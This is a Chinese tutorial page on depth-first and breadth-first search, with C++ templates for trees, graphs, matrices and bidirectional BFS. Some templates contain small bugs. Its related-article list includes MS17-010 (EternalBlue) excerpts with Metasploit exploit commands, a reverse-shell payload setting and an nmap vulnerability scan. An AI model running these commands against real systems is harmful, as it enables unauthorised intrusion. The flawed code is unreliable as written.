广度优先搜索和深度优先搜索

article/2025/9/17 5:00:32

文章目录

  • 1. 前言
  • 2. 广度优先搜索和深度优先搜索
    • 1)深度优先搜索
    • 2)广度优先搜索
  • 3. 深度优先搜索算法框架
    • 1)二叉树深度优先搜索模板
    • 2)图深度优先搜索模板
    • 3)二维矩阵深度优先搜索模板
  • 4. 广度优先搜索算法框架
    • 1)单源广度优先搜索
    • 2)多源广度优先搜索
    • 3)双向广度优先搜索


1. 前言

    深度优先搜索算法的基础是递归,如果你对递归还不熟悉的话,建议先去看看递归的概念,做一些递归的练习题,也可以看我之前写的递归的文章:递归算法详解


2. 广度优先搜索和深度优先搜索

     在这篇文章中同时总结下广度优先搜索和深度优先搜索,这两种算法是针对 “图” 的遍历方法,当然这里的图是指的是广义上的图,可以是实际的图,可以是N叉树,甚至可以是二维矩阵。其中深度优先搜索是每一次按照一个方向进行穷尽式的搜索,当该方向上的搜索无法继续往前的时候,这时就退回到上一步,换一个方向继续搜索而广度优先走是按照层次由近及远的进行搜索,在当前层次所有可及节点都搜索完毕后才会继续往下搜索,其本质就是寻找从起点到终点的最短路径。下面以二叉树的遍历过程说明两种搜索算法之间的区别:

1)深度优先搜索

    这种搜索方法会按照一个方向进行穷尽搜索,所以首先会一直搜索左子树,直到某个节点没有左子树为止,接着换个方向搜索右子树,图示如下:
在这里插入图片描述

2)广度优先搜索

    与深度搜索不同的是这种搜索的方式总是按照层次进行的,当前层所以节点都访问过后才会继续往下,图示如下:
在这里插入图片描述


3. 深度优先搜索算法框架

void DFS(当前节点){对当前节点的访问;`在这里插入代码片`标记当前节点为已访问;for(下一节点 : 当前节点的邻接列表){剪枝(如果下一节点已经访问过就跳过);DFS(下一节点);}
}

1)二叉树深度优先搜索模板

//二叉树前序DFS搜索
void DFS(TreeNode* root){if(root == nullptr) return;cout << root->val << " "; //输出当前节点//这里不需要标记当前节点为已访问,因为二叉树不会往回走DFS(root->lchild); DFS(root->rchild); 
}

调整输出节点的位置,还能得出另外两种二叉树DFS遍历:

//二叉树中序DFS搜索
void DFS(TreeNode* root){if(root == nullptr) return;DFS(root->lchild);cout << root->val << " "; //输出当前节点DFS(root->rchild);
}//二叉树后序DFS搜索
void DFS(TreeNode* root){if(root == nullptr) return;DFS(root->lchild);DFS(root->rchild);cout << root->val << " "; //输出当前节点
}

2)图深度优先搜索模板

vector<int> visited; //用来标记已访问节点
void DFS(Graph *G, int v){cout << v << " "; //输出当前节点visited[v] = 1; //标记当前节点为已访问for(int w = 0; w < G->vexnum; w++){if(!visited[w])DFS(G, w);}
}

3)二维矩阵深度优先搜索模板

int m = matrix.size(); //行数
int n = matrix[0].size();  //列数
vector<vector<int>> visited(m, vector<int>(n, 0)); //用来标记已经访问过的节点
int directions[4][2] = {{-1, 0}, {1, 0}, {0, -1}, {0, 1}}; //行进方向void DFS(vector<vector<int>> &matrix, int x, int y){if(matrix[x][y] == target)return;visited[x][y] = 1; //标记当前节点为已访问for(int i = 0; i < 4; i++){int new_x = x + directions[i][0];int new_y = y + directions[i][1];//这里一定要把visites[new_x][new_y]放在最后,因为计算后的new_x和new_y值有可能已经超过visited的下标访问范围if(new_x < 0 || new_x >= m || new_y < 0 || new_y >= n || visited[new_x][new_y]) continue; DFS(matrix, new_x, new_y);}
}

4. 广度优先搜索算法框架

    首先需要明确的就是,广度优先搜索是按照层次遍历的,所以广度优先搜索不能像深度优先搜索一样使用递归来实现,广度优先搜索需要申请辅助队列来记录下一层需要遍历的节点

1)单源广度优先搜索

    从一个起点出发到一个终点结束

//单源的广度优先搜索
int BFS(elemType start, elemType target) {queue<elemType> q; //申请辅助队列set<elemType> visited; //标记已访问过的,避免走回头路q.push(start); //起点入队列visited.insert(start); //标记起点int step = 0; //记录步数while (!q.empty()) {int sz = q.size(); //每一层的元素个数for (int i = 0; i < sz; i++) {elemType cur = q.pop(); //获得队列中的元素if (cur == target) { //判断是否需要结束搜索return step;}for (elemType x : cur.neighbor()) { //确定下一层需要搜索的节点if (visited.find(x) == visited.end()) {q.push(x);visited.insert(x);}}}step++; // 步数加一}
}

2)多源广度优先搜索

    顾名思义,多源广度优先搜索的意思是可以从多个起点开始向外进行搜索,是一种扩散式的搜索方法,如下图所示,图中值为0的点表示起点,则与每个0上下左右相邻的节点值就为1,同样与每个1上下左右相邻的节点值就为2。
在这里插入图片描述

vector<vector<int>> mulBFS(vector<vector<int>>& mat) {int m = mat.size();int n = mat[0].size();vector<vector<int>> dist(m, vector<int>(n, 0)); //记录每个位置上的步数vector<vector<int>> visited(m, vector<int>(n, 0)); //用来标记是否访问过queue<pair<int, int>> q;//第一步就是将多个源点按顺序入队列for (int i = 0; i < m; i++) {for (int j = 0; j < n; j++) {if (mat[i][j] == 0) {q.push(pair<int, int>(i, j));visited[i][j] = 1;}}}while (!q.empty()) {int sz = q.size();for (int i = 0; i < sz; i++) {auto [x, y] = q.front();q.pop();for (int j = 0; j < 4; j++) {int new_x = x + directions[j][0];int new_y = y + directions[j][1];if (new_x < 0 || new_x >= m || new_y < 0 || new_y >= n ||  visited[new_x][new_y]) continue;q.push(pair<int, int>(new_x, new_y));visited[new_x][new_y] = 1;dist[new_x][new_y] = dist[x][y] + 1;}}}
}

[注]:上述的两种广度优先搜索中我们给出了两个记录步长的方式,第一种是设置一个step,然后每向前一步就step++,这种比较适合单源的广度优先搜索;第二种是设置一个辅助dist数组,记录所有节点的距离,然后通过 dist[newNode] = dist[oldNode]+1 进行更新,这种比较适合多源的广度优先搜索。

3)双向广度优先搜索

    广度优先搜索是求图中最短路径的方法,一般是从某个起点出发,一直穷举直到碰到某个结束值(也就是目标值),这样的搜索过程就是单向的搜索,而有的题目即会提供起点位置,也会提供终点的位置,这样的题目可以采用双向的广度优先搜索, 当发现某一时刻两边都访问过同一顶点时就停止搜索。比如下面这个题目:
    LeetCode 127. 单词接龙:在本题目中起始单词 beginword 和 结束单词 endword均已经给出,因此可以采用双向的广度优先搜索。
双向广度优先搜索算法流程:
    1. 需要定义两个辅助队列,一个放前向搜索时的节点,一个存放逆向搜索时的节点
    2. 查看两个辅助队列中是否有相同的元素,以判断搜索是否结束
    3. 轮流进行搜索,也就是前向搜索进行一次后紧跟着就要做一次逆向搜索

int BFS(string beginWord, string endWord, vector<string>& wordList) {unordered_set<string> wordSet(wordList.begin(), wordList.end());if (wordSet.find(endWord) == wordSet.end()) return 0;unordered_set<string> q_start, q_end, visited; //双向搜索要定义两个set作为辅助队列q_start.insert(beginWord);q_end.insert(endWord);int step = 1;while (!q_start.empty() && !q_start.empty()) {unordered_set<string> temp; //定义一个temp为了将q_start将q_end交换for (string cur : q_start) {cout << cur << " ";if (q_end.find(cur) != q_end.end()) return step; //查看两个队列中是否有相同的元素,相同则结束遍历//这一步很关键,单向BFS中是在新节点入队的同时加入访问数组,这里不行,因为我们结束查找的条件就是两个队//列中是否有相同的条件,如果在新节点入队的同时加入访问数组,两个队列中就一定不会有相同的元素,因此要在判断后加visited.insert(cur); for (int k = 0; k < cur.size(); k++) {string newWord = cur;for (int i = 0; i < 26; i++) {newWord[k] = i + 'a';if (wordSet.find(newWord) != wordSet.end() &&  visited.find(newWord) == visited.end()) {temp.insert(newWord);}}}}step++;//交换搜索的方向q_start = q_end; q_end = temp;}return 0;
}

http://chatgpt.dhexx.cn/article/qXOna7uO.shtml

相关文章

深度优先和广度优先算法

1、深度优先算法 遍历规则&#xff1a;不断地沿着顶点的深度方向遍历。顶点的深度方向是指它的邻接点方向。 最后得出的结果为&#xff1a;ABDECFHG。 Python代码实现的伪代码如下&#xff1a; 2、广度优先算法&#xff1a; 遍历规则&#xff1a; 1&#xff09;先访问完当…

深度优先搜索(DFS)和广度优先搜索(BFS)

代码随想录 深度优先搜索和广度优先搜索&#xff0c;都是图形搜索算法&#xff0c;它两相似&#xff0c;又却不同&#xff0c;在应用上也被用到不同的地方。这里拿一起讨论&#xff0c;方便比较。 先给大家说一下两者大概的区别&#xff1a; 如果搜索是以接近起始状态的程序依次…

算法:深度优先和广度优先(DFS,BFS)

一丶深度优先&#xff08;DFS&#xff09; 深度优先顾名思义: 就是往深的地方优先查找或遍历。 如图二叉树&#xff0c;想遍历树中所有结点可以用中序遍历&#xff0c;前序或后序。如果某一结点还有子结点就会往深处就是往下一结点&#xff0c;一直遍历直到最后一个结点没有子…

【算法】深度优先和广度优先

本文只是总结的相关概念&#xff0c;仅供自己复习&#xff0c;严禁转载&#xff0c;文末附有本文内容涉及的文章链接&#xff0c;请点开链接查看原文&#xff01; &#xff08;一&#xff09;深度优先 深度优先搜索属于图算法的一种&#xff0c;是一个针对图和树的遍历算法&am…

算法:深度优先遍历和广度优先遍历

什么是深度、广度优先遍历 图的遍历是指&#xff0c;从给定图中任意指定的顶点&#xff08;称为初始点&#xff09;出发&#xff0c;按照某种搜索方法沿着图的边访问图中的所有顶点&#xff0c;使每个顶点仅被访问一次&#xff0c;这个过程称为图的遍历。遍历过程中得到的顶点…

ms17010利用失败解决一则

没有反弹得到session并且提示如下&#xff1a; [-] 10.0.131.2:445 - Service failed to start, ERROR_CODE: 216 换了一个payload set payload windows/meterpreter/reverse_tcp set payload windows/x64/meterpreter/bind_tcp 就可以了。 如果遇到Unable to continue with i…

永恒之蓝MS17010复现

MS17010复现 靶机win7&#xff1a;192.168.41.150 攻击kali: 192.168.41.147 扫描 通过auxiliary/scanner/smb/smb_ms17_010模块扫描虚拟机是否存在ms17010漏洞 存在 拿shell 通过exploit/windows/smb/ms17_010_eternalblue 直接exp打&#xff0c;设置好参数和payload,window…

MS17010(永恒之蓝)漏洞利用与复现

MS17010(永恒之蓝)漏洞利用与复现 0X00简介 永恒之蓝是指2017年4月14日晚&#xff0c;黑客团体Shadow Brokers&#xff08;影子经纪人&#xff09;公布一大批网络攻击工具&#xff0c;其中包含“永恒之蓝”工具&#xff0c;“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统…

网安学习记录1 ms17010漏洞

使用nmap对win7进行端口扫描 进行ms17-010漏洞利用

ms17010漏洞复现-2003

先使用Smbtouch模块检测一下是否有漏洞。 然后使用Doublepulsar写一个shellcode到本地。 生成成功后的截图&#xff1a; 再使用EternalRomance植入Doublepulsar后门。 成功的截图&#xff1a; PS:仿佛是由于之前已经上传过bin的缘故&#xff0c;第二次测试的时候失败了。但是不…

微软永恒之蓝ms17010补丁下载-wannacry

勒索病毒爆发:上百国家遭"感染",Windows勒索病毒恐怖蔓延!勒索病毒,掀起了全球上百个国家、数十亿用户对网络安全的恐慌,微软推出的永恒之蓝ms17010补丁下载专为勒索病毒专杀而设计,同时推出的勒索病毒文件恢复软件是大家得力的勒索病毒文件恢复助手!http://www.cata…

永恒之蓝漏洞自查-MS17010漏洞自查与修复

MS17010漏洞时间线回溯 2017-03-12&#xff0c;微软发布MS17-010补丁包2017-03-14&#xff0c;微软发布《MS17-010&#xff1a;Windows SMB 服务器安全更新说明》 https://support.microsoft.com/zh-cn/help/4012598/title2017-04-14&#xff0c;Shadowbroker发布漏洞利用工具…

ms17010复现

关于漏洞的复现干多了就发现&#xff0c;这种菜鸟级别的复现&#xff0c;&#xff0c;真是没有啥实用性&#xff0c;主要就是&#xff0c;自己玩玩&#xff0c;&#xff0c;&#xff0c;唉&#xff0c;&#xff0c; ms17_010,好像跟什么永恒之蓝&#xff0c;勒索病毒有啥关系。…

ms17010漏洞利用(主机漏洞利用)

攻击机&#xff1a;kali ip:192.168.248.129 靶机&#xff1a;win7 x64 enterprise ip: 192.168.248.130 启动msf&#xff0c; Msfconsole search ms 检查msf库里是否存在ms17-010漏洞 Nmap检测靶机开放端口&#xff1a;nmap –sV 192.168.248.130 445端口开放&#xff0c…

永恒之蓝(MS17010)漏洞kali使用MSF进行漏洞复现

永恒之蓝是指2017年4月14日晚&#xff0c;黑客团体Shadow Brokers&#xff08;影子经纪人&#xff09;公布一大批网络攻击工具&#xff0c;其中包含“永恒之蓝”工具&#xff0c;“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。 恶意代码会扫描开放445文件共享端…

永恒之蓝-MS17010 CVE-2017-0146

提示&#xff1a;这里可以添加系列文章的所有文章的目录&#xff0c;目录需要自己手动添加 例如&#xff1a;第一章 Python 机器学习入门之pandas的使用 提示&#xff1a;写完文章后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、永恒之…

永恒之蓝(ms17010)漏洞利用

目录 1.启动msf 2.检查msf库里是否存在ms17-010漏洞 3.扫描靶机开放端口 4.配置目标ip&#xff0c;本地ip并利用exploit进行攻击 5.查看靶机系统信息、用户身份并对远程主机当前屏幕截图 6.获得shell控制台进cmd操作&#xff0c;添加账户提升权限 7.远程登录靶机 8.输入…

〖EXP〗NSA MS17010永恒之蓝漏洞一键工具

漏洞简介 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯…

MS17010漏洞利用总结

0x01 常规打法 扫描是否存在ms17-010漏洞&#xff1a; nmap -n -p445 --script smb-vuln-ms17-010 192.168.1.0/24 --openMSF常规漏洞利用&#xff1a; msf > use exploit/windows/smb/ms17_010_eternalblue msf > set rhost 192.168.1.112 反向打&#xff1a; msf …

MS17010漏洞利用姿势

MSF 搜索ms17-010 存在这些利用模块 0 exploit/windows/smb/ms17_010_eternalblue 1 exploit/windows/smb/ms17_010_psexec 2 auxiliary/admin/smb/ms17_010_command 3 auxiliary/scanner/smb/smb_ms17_010 4 exploit/windows/smb/smb_doublepulsar_rce 0 expl…